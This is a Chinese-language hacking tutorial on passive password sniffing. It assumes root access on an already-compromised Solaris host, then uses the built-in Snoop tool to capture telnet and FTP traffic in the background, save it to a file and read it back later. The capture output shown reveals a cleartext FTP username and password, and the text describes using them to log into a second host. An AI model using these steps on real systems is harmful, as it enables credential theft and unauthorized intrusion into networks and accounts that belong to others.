我们来看一个使用Sniffer进行被动攻击的实际例子。假设我们已经通过某种方法成功的攻人了 Solaris 主机 202.11.22.33(本文隐藏了实际 IP地址,下同)并且获得这台主机上的最高root权限。那么,现在我们就可以在这台主机上使用Sniffer来嗅探此网段上传输的密码。
1.Snoop简介
在Solaris系统中有一个默认安装的Sniffer软件叫做Snoop,所以没有必要重新安装其他的Sniffer了,可以直接使用Snoop来进行嗅探。下面简要介绍一下Snoop的使用方法。
Snoop 是一个命令行的软件,它的使用方法为:Snoop[选项][过滤条]
其中选项包括:
[-a]# 在 audio上监听
[-d device]# 设置的监听设备
[-s snaplen]# 将包截短
[-c count]#设置捕获包的数量
[-P]#关闭混杂模式
[-D]# 报告掉包
[-S]#报告包大小
[-i file]#从文件读人记录
[-o file]#把捕获情况存人文件
[-n flle]#从文件读人域名表
[-N]# 创建域名表
[-t r|a|d]#设置时间,可以为相对或绝对时间
[-v]#详细的包信息显示
[-V]#显示所有包信息
[-p first[,last] ]#显示指定的包
[-x offset[,length] ]# 显示 16进制数据
[-C]# 显示包过滤码
其中最常用的选项是-o和-c,通过一o选项可以把捕获情况输出到一个文件中,否则会显示在屏幕上。通过-c可以设置要捕获包的数量,否则就会无限制地捕获传输的包。
Snoop的重点在于设置过滤条件,所谓过滤条件就是我们要捕获什么样的包,因为以太网上传输的数据量一般是相当大的,所以不能捕获所有传输的包,否则会无法找到我们要的信息,于是我们就设置一个过滤条件,只捕获我们要的包,例如含有密码的包。
过滤条件主要包括from、to、net和 port。其中from是指从特定主机发送过来的包,to是指发送到特定主机的包,net是来自或发往特定网络的包,port是指来自或发往特定端口的包。这些过滤条件可以通过and(且关系)、or(或关系)和not(非关系)来进行组合。例如,下面Snoop命令捕获所有来自192.168.3.12地址的DNS和NFS包:
snoop from 192.168.3.12 port domain
or rpc nfs
2.SnooP攻击实例
假设我们已经通过某种方法成功的攻人了Solaris主机 202.11.22.33(本文隐藏了实际IP地址,下同)并且获得这台主机上的最高root权限。那么现在我们就可以在这台主机上使用Snoop来嗅探此同段上传输的密码。
首先我们使用find命令查找一下此主机上的Snoop安装在哪里:
#find/-name snoop -print
/usr/sbin/snoop
因为我们的目的是捕获网络上传输的密码,所以我们要设置Snoop的过滤选项来捕获网络上所有的 telnet和 ftp包,使用下面的命令:
#nohup /usr/sbin/snoop -o slog -c 10000 port
telnet or port ftp&
我们使用nohup和&来把Snoop挂在后台运行,这样,当我们从终端退出的时候,Snoop仍然可以在后台运行。并且我们使用-o把嗅探结果保存在文件slog里,使用-c选项来设置一共捕获10000个包,以免捕获数据量太大而占据硬盘空间。port telnet or ftp就是过滤选项,它设置只捕获Telnet和FTP包,因为这两种协议都使用密码验证而且密码不加密。
然后我们就可以退出登录,第二天再次登录上这台主机,可以看到当前目录下有一个slog文件,这就是嗅探结果。但是要注意这个文件不是文本文件,不能使用cat命令直接查看,必须用Snoop的-i选项来查看,使用如下命令:
#/usr/sbin/snoop -i slog |more
这里,我们使用more来一点一点查看,发现 输出中有以下片段:
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
gi-12-107.bta.net.cn->202.11.22.68 FTP C POrt=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
220 202.11.22.68
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
USER bode\r\n
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
331 Password require
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
PASS zhangjm\r\n
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
230 user bode logged
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
通过上面的记录我们可以看到,来自gi-12-107.bta.net.cn的用户使用 FTP登录上了202.11.22.68主机,它使用的用户名为bode,密码为zhangjm。于是我们就可以使用这个用户名和密码来登录上202.11.22.68了。